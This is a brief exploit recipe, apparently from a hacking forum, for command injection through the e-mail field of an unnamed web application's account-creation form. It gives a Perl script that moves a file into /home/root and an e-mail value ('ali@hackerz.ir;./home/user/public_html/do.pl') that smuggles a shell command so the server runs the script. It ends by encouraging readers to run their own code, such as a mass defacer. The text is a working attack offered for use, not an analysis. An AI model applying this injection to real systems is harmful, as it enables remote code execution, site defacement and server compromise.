Test it:
++++++++++++++++++++++++++
Step 1

Save this file in /home/user/public_html/do.pl .
#!/usr/bin/perl
$old='/home/user/public_html/test.txt';
$new='/home/root/kon.txt';
rename $old, $new;
++++++++++++++++++++++++++
step 2

make a text file named test.txt in your public_html directory.
path will be : /home/user/public_html/test.txt .
++++++++++++++++++++++++++
step 3

create an account and write ali@hackerz.ir;./home/user/public_html/do.pl in E-mail Address text box
then click on the "create" button.
Yes , you can find your file in /home/root/ .
++++++++++++++++++++++++++
()()()()()()()()()()()()()
you can run your own code !(mass defacer, exploit's or everything that u want).
Enjoy it...